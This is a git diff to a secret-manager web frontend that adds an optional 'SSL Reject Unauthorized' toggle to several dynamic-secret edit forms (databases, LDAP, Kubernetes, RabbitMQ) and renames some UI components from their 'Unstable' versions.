-                    render={({ field, fieldState: { error } }) => (
-                      <FormControl
-                        isOptional
-                        label="CA (SSL)"
-                        isError={Boolean(error?.message)}
-                        errorText={error?.message}
-                      >
-                        <SecretInput
-                          {...field}
-                          containerClassName="text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5"
-                        />
-                      </FormControl>
-                    )}
-                  />
+                  <>
+                    <Controller
+                      control={control}
+                      name="inputs.ca"
+                      render={({ field, fieldState: { error } }) => (
+                        <FormControl
+                          isOptional
+                          label="CA (SSL)"
+                          isError={Boolean(error?.message)}
+                          errorText={error?.message}
+                        >
+                          <SecretInput
+                            {...field}
+                            containerClassName="text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5"
+                          />
+                        </FormControl>
+                      )}
+                    />
+                    <Controller
+                      name="inputs.sslRejectUnauthorized"
+                      control={control}
+                      render={({ field: { value, onChange }, fieldState: { error } }) => (
+                        <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                          <Switch
+                            className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                            id="ssl-reject-unauthorized"
+                            thumbClassName="bg-mineshaft-800"
+                            isChecked={value}
+                            onCheckedChange={onChange}
+                          >
+                            <p className="w-full">
+                              SSL Reject Unauthorized
+                              <Tooltip
+                                className="max-w-md"
+                                content={
+                                  <p>
+                                    If enabled, the server certificate will be verified against the
+                                    list of supplied CAs. Disable this option if you are using a
+                                    self-signed certificate.
+                                  </p>
+                                }
+                              >
+                                <FontAwesomeIcon
+                                  icon={faQuestionCircle}
+                                  size="sm"
+                                  className="ml-1"
+                                />
+                              </Tooltip>
+                            </p>
+                          </Switch>
+                        </FormControl>
+                      )}
+                    />
+                  </>
                 )}
                 <Accordion type="multiple" className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advanced">
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretCassandraForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretCassandraForm.tsx
index fe1212330f3..df9bc4b8d21 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretCassandraForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretCassandraForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -14,7 +16,9 @@ import {
   FormControl,
   Input,
   SecretInput,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
@@ -32,7 +36,8 @@ const formSchema = z.object({
       creationStatement: z.string().min(1),
       revocationStatement: z.string().min(1),
       renewStatement: z.string().optional(),
-      ca: z.string().optional()
+      ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional()
     })
     .partial(),
   defaultTTL: z.string().superRefine((val, ctx) => {
@@ -287,6 +292,37 @@ export const EditDynamicSecretCassandraForm = ({
                   </FormControl>
                 )}
               />
+              <Controller
+                name="inputs.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <Accordion type="multiple" className="w-full bg-mineshaft-700">
                 <AccordionItem value="modify-sql-statement">
                   <AccordionTrigger>Modify CQL Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretElasticSearchForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretElasticSearchForm.tsx
index 015f394ea08..a6d8b35a7f3 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretElasticSearchForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretElasticSearchForm.tsx
@@ -1,5 +1,5 @@
 import { Controller, useForm } from "react-hook-form";
-import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { faPlus, faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -15,7 +15,9 @@ import {
   Input,
   SecretInput,
   Select,
-  SelectItem
+  SelectItem,
+  Switch,
+  Tooltip
 } from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
@@ -52,7 +54,8 @@ const formSchema = z.object({
     ]),
 
     roles: z.array(z.string().trim().min(1)).min(1, "At least one role is required"),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().optional()
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -408,6 +411,37 @@ export const EditDynamicSecretElasticSearchForm = ({
                   )}
                 />
               </div>
+              <Controller
+                name="inputs.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <Controller
                 control={control}
                 name="usernameTemplate"
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretKubernetesForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretKubernetesForm.tsx
index e599c2d6a16..ec44e127349 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretKubernetesForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretKubernetesForm.tsx
@@ -58,6 +58,7 @@ const formSchema = z
         clusterToken: z.string().trim().optional(),
         ca: z.string().optional(),
         sslEnabled: z.boolean().default(false),
+        sslRejectUnauthorized: z.boolean().optional(),
         credentialType: z.literal(KubernetesDynamicSecretCredentialType.Static),
         serviceAccountName: z.string().trim().min(1),
         namespace: z
@@ -77,6 +78,7 @@ const formSchema = z
         clusterToken: z.string().trim().optional(),
         ca: z.string().optional(),
         sslEnabled: z.boolean().default(false),
+        sslRejectUnauthorized: z.boolean().optional(),
         credentialType: z.literal(KubernetesDynamicSecretCredentialType.Dynamic),
         namespace: z
           .string()
@@ -415,6 +417,41 @@ export const EditDynamicSecretKubernetesForm = ({
                           </FormControl>
                         )}
                       />
+                      <Controller
+                        name="inputs.sslRejectUnauthorized"
+                        control={control}
+                        render={({ field: { value, onChange }, fieldState: { error } }) => (
+                          <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                            <Switch
+                              className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                              id="ssl-reject-unauthorized"
+                              thumbClassName="bg-mineshaft-800"
+                              isChecked={value}
+                              onCheckedChange={onChange}
+                            >
+                              <p className="w-full">
+                                SSL Reject Unauthorized
+                                <Tooltip
+                                  className="max-w-md"
+                                  content={
+                                    <p>
+                                      If enabled, the server certificate will be verified against
+                                      the list of supplied CAs. Disable this option if you are using
+                                      a self-signed certificate.
+                                    </p>
+                                  }
+                                >
+                                  <FontAwesomeIcon
+                                    icon={faQuestionCircle}
+                                    size="sm"
+                                    className="ml-1"
+                                  />
+                                </Tooltip>
+                              </p>
+                            </Switch>
+                          </FormControl>
+                        )}
+                      />
                     </>
                   )}
                   {authMethod === AuthMethod.Api && (
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretLdapForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretLdapForm.tsx
index e95d8956195..361c6db918c 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretLdapForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretLdapForm.tsx
@@ -1,11 +1,22 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
 
 import { TtlFormLabel } from "@app/components/features";
 import { createNotification } from "@app/components/notifications";
-import { Button, FormControl, Input, Select, SelectItem, TextArea } from "@app/components/v2";
+import {
+  Button,
+  FormControl,
+  Input,
+  Select,
+  SelectItem,
+  Switch,
+  TextArea,
+  Tooltip
+} from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
 import { slugSchema } from "@app/lib/schemas";
@@ -33,6 +44,7 @@ const formSchema = z.object({
       binddn: z.string().trim().min(1),
       bindpass: z.string().trim().min(1),
       ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional(),
       credentialType: z.literal(CredentialType.Dynamic),
       creationLdif: z.string().min(1),
       revocationLdif: z.string().min(1),
@@ -43,6 +55,7 @@ const formSchema = z.object({
       binddn: z.string().trim().min(1),
       bindpass: z.string().trim().min(1),
       ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional(),
       credentialType: z.literal(CredentialType.Static),
       rotationLdif: z.string().min(1)
     })
@@ -230,6 +243,37 @@ export const EditDynamicSecretLdapForm = ({
               </FormControl>
             )}
           />
+          <Controller
+            name="inputs.sslRejectUnauthorized"
+            control={control}
+            render={({ field: { value, onChange }, fieldState: { error } }) => (
+              <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                <Switch
+                  className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                  id="ssl-reject-unauthorized"
+                  thumbClassName="bg-mineshaft-800"
+                  isChecked={value}
+                  onCheckedChange={onChange}
+                >
+                  <p className="w-full">
+                    SSL Reject Unauthorized
+                    <Tooltip
+                      className="max-w-md"
+                      content={
+                        <p>
+                          If enabled, the server certificate will be verified against the list of
+                          supplied CAs. Disable this option if you are using a self-signed
+                          certificate.
+                        </p>
+                      }
+                    >
+                      <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                    </Tooltip>
+                  </p>
+                </Switch>
+              </FormControl>
+            )}
+          />
           <Controller
             control={control}
             name="inputs.credentialType"
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretMongoDBForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretMongoDBForm.tsx
index d5b63a1cff6..5d18ac7a8bc 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretMongoDBForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretMongoDBForm.tsx
@@ -1,5 +1,5 @@
 import { Controller, useFieldArray, useForm } from "react-hook-form";
-import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { faPlus, faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -7,7 +7,16 @@ import { z } from "zod";
 
 import { TtlFormLabel } from "@app/components/features";
 import { createNotification } from "@app/components/notifications";
-import { Button, FormControl, FormLabel, IconButton, Input, SecretInput } from "@app/components/v2";
+import {
+  Button,
+  FormControl,
+  FormLabel,
+  IconButton,
+  Input,
+  SecretInput,
+  Switch,
+  Tooltip
+} from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
 import { slugSchema } from "@app/lib/schemas";
@@ -21,6 +30,7 @@ const formSchema = z.object({
       username: z.string().min(1),
       password: z.string().min(1),
       ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional(),
       roles: z
         .object({
           roleName: z.string().min(1)
@@ -333,6 +343,37 @@ export const EditDynamicSecretMongoDBForm = ({
                 )}
               />
             </div>
+            <Controller
+              name="inputs.sslRejectUnauthorized"
+              control={control}
+              render={({ field: { value, onChange }, fieldState: { error } }) => (
+                <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                  <Switch
+                    className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                    id="ssl-reject-unauthorized"
+                    thumbClassName="bg-mineshaft-800"
+                    isChecked={value}
+                    onCheckedChange={onChange}
+                  >
+                    <p className="w-full">
+                      SSL Reject Unauthorized
+                      <Tooltip
+                        className="max-w-md"
+                        content={
+                          <p>
+                            If enabled, the server certificate will be verified against the list of
+                            supplied CAs. Disable this option if you are using a self-signed
+                            certificate.
+                          </p>
+                        }
+                      >
+                        <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                      </Tooltip>
+                    </p>
+                  </Switch>
+                </FormControl>
+              )}
+            />
             <div>
               <Controller
                 control={control}
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRabbitMqForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRabbitMqForm.tsx
index dbf0d90d03b..8bc6ba92566 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRabbitMqForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRabbitMqForm.tsx
@@ -1,5 +1,5 @@
 import { Controller, useForm } from "react-hook-form";
-import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { faPlus, faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -7,7 +7,16 @@ import { z } from "zod";
 
 import { TtlFormLabel } from "@app/components/features";
 import { createNotification } from "@app/components/notifications";
-import { Button, FormControl, FormLabel, IconButton, Input, SecretInput } from "@app/components/v2";
+import {
+  Button,
+  FormControl,
+  FormLabel,
+  IconButton,
+  Input,
+  SecretInput,
+  Switch,
+  Tooltip
+} from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
 import { slugSchema } from "@app/lib/schemas";
@@ -29,7 +38,8 @@ const formSchema = z.object({
         configure: z.string().trim().min(1)
       })
     }),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().optional()
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -408,6 +418,37 @@ export const EditDynamicSecretRabbitMqForm = ({
                   )}
                 />
               </div>
+              <Controller
+                name="inputs.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <div>
                 <Controller
                   control={control}
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRedisProviderForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRedisProviderForm.tsx
index add8d604207..aa678ac1961 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRedisProviderForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretRedisProviderForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -14,7 +16,9 @@ import {
   FormControl,
   Input,
   SecretInput,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
@@ -31,7 +35,8 @@ const formSchema = z.object({
       creationStatement: z.string().min(1),
       renewStatement: z.string().optional(),
       revocationStatement: z.string().min(1),
-      ca: z.string().optional()
+      ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional()
     })
     .partial(),
   defaultTTL: z.string().superRefine((val, ctx) => {
@@ -257,6 +262,37 @@ export const EditDynamicSecretRedisProviderForm = ({
                 </FormControl>
               )}
             />
+            <Controller
+              name="inputs.sslRejectUnauthorized"
+              control={control}
+              render={({ field: { value, onChange }, fieldState: { error } }) => (
+                <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                  <Switch
+                    className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                    id="ssl-reject-unauthorized"
+                    thumbClassName="bg-mineshaft-800"
+                    isChecked={value}
+                    onCheckedChange={onChange}
+                  >
+                    <p className="w-full">
+                      SSL Reject Unauthorized
+                      <Tooltip
+                        className="max-w-md"
+                        content={
+                          <p>
+                            If enabled, the server certificate will be verified against the list of
+                            supplied CAs. Disable this option if you are using a self-signed
+                            certificate.
+                          </p>
+                        }
+                      >
+                        <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                      </Tooltip>
+                    </p>
+                  </Switch>
+                </FormControl>
+              )}
+            />
             <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
               <AccordionItem value="advance-statements">
                 <AccordionTrigger>Modify Redis Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSapHanaForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSapHanaForm.tsx
index d0f6a9d906a..ab70d1ef55e 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSapHanaForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSapHanaForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -14,7 +16,9 @@ import {
   FormControl,
   Input,
   SecretInput,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
@@ -30,7 +34,8 @@ const formSchema = z.object({
       creationStatement: z.string().min(1),
       revocationStatement: z.string().min(1),
       renewStatement: z.string().optional(),
-      ca: z.string().optional()
+      ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional()
     })
     .partial(),
   defaultTTL: z.string().superRefine((val, ctx) => {
@@ -258,6 +263,37 @@ export const EditDynamicSecretSapHanaForm = ({
                     </FormControl>
                   )}
                 />
+                <Controller
+                  name="inputs.sslRejectUnauthorized"
+                  control={control}
+                  render={({ field: { value, onChange }, fieldState: { error } }) => (
+                    <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                      <Switch
+                        className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                        id="ssl-reject-unauthorized"
+                        thumbClassName="bg-mineshaft-800"
+                        isChecked={value}
+                        onCheckedChange={onChange}
+                      >
+                        <p className="w-full">
+                          SSL Reject Unauthorized
+                          <Tooltip
+                            className="max-w-md"
+                            content={
+                              <p>
+                                If enabled, the server certificate will be verified against the list
+                                of supplied CAs. Disable this option if you are using a self-signed
+                                certificate.
+                              </p>
+                            }
+                          >
+                            <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                          </Tooltip>
+                        </p>
+                      </Switch>
+                    </FormControl>
+                  )}
+                />
                 <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advance-statements">
                     <AccordionTrigger>Modify SQL Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSqlProviderForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSqlProviderForm.tsx
index d6da25f80c7..0219ac9ee48 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSqlProviderForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSqlProviderForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
 import ms from "ms";
@@ -66,6 +68,7 @@ const formSchema = z.object({
       renewStatement: z.string().optional(),
       sslEnabled: z.boolean().optional(),
       ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().optional(),
       gatewayId: z.string().optional().nullable()
     })
     .partial(),
@@ -439,6 +442,37 @@ export const EditDynamicSecretSqlProviderForm = ({
                   </FormControl>
                 )}
               />
+              <Controller
+                name="inputs.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <Accordion type="multiple" className="mt-4 mb-2 w-full bg-mineshaft-700">
                 <AccordionItem value="advanced">
                   <AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/MetadataForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/MetadataForm.tsx
index 8aaca88afb9..244d4e72d3d 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/MetadataForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/MetadataForm.tsx
@@ -3,12 +3,7 @@ import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 
 import { Button, FormControl, FormLabel, IconButton, Input } from "@app/components/v2";
-import {
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
-} from "@app/components/v3";
+import { Empty, EmptyContent, EmptyHeader, EmptyTitle } from "@app/components/v3";
 
 export const MetadataForm = ({
   control,
@@ -30,11 +25,11 @@ export const MetadataForm = ({
     <FormControl label={title} className="mt-4">
       <div className="flex flex-col space-y-2 pt-1">
         {metadataFormFields.fields.length === 0 ? (
-          <UnstableEmpty className="gap-2 p-6 md:p-6">
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>No metadata entries</UnstableEmptyTitle>
-            </UnstableEmptyHeader>
-            <UnstableEmptyContent>
+          <Empty className="gap-2 p-6 md:p-6">
+            <EmptyHeader>
+              <EmptyTitle>No metadata entries</EmptyTitle>
+            </EmptyHeader>
+            <EmptyContent>
               <Button
                 variant="outline_bg"
                 size="xs"
@@ -43,8 +38,8 @@ export const MetadataForm = ({
               >
                 Add entry
               </Button>
-            </UnstableEmptyContent>
-          </UnstableEmpty>
+            </EmptyContent>
+          </Empty>
         ) : (
           <>
             {metadataFormFields.fields.map(({ id: metadataFieldId }, i) => (
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretDropzone/SecretDropzone.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretDropzone/SecretDropzone.tsx
index cb4a1a73a2a..87f95a1cbb0 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretDropzone/SecretDropzone.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretDropzone/SecretDropzone.tsx
@@ -337,7 +337,7 @@ export const SecretDropzone = ({
           env = parseYaml(src);
           break;
         case "text/csv": {
-          const fullMatrix = parseCsvToMatrix(src);
+          const { matrix: fullMatrix } = parseCsvToMatrix(src);
           if (!fullMatrix.length) {
             createNotification({
               type: "error",
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/CollapsibleSecretImports.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/CollapsibleSecretImports.tsx
index 3715b2bdedd..26a2877e90e 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/CollapsibleSecretImports.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/CollapsibleSecretImports.tsx
@@ -3,14 +3,14 @@ import React, { useMemo } from "react";
 import { AlertTriangleIcon, ImportIcon, KeyIcon, RefreshCwIcon } from "lucide-react";
 
 import {
-  UnstableAlert,
-  UnstableAlertTitle,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Alert,
+  AlertTitle,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
 import { UsedBySecretSyncs } from "@app/hooks/api/dashboard/types";
@@ -228,30 +228,28 @@ export const CollapsibleSecretImports: React.FC<CollapsibleSecretImportsProps> =
 
   return (
     <div className="mb-4 w-full">
-      <UnstableAlert className="mb-4" variant="warning">
+      <Alert className="mb-4" variant="warning">
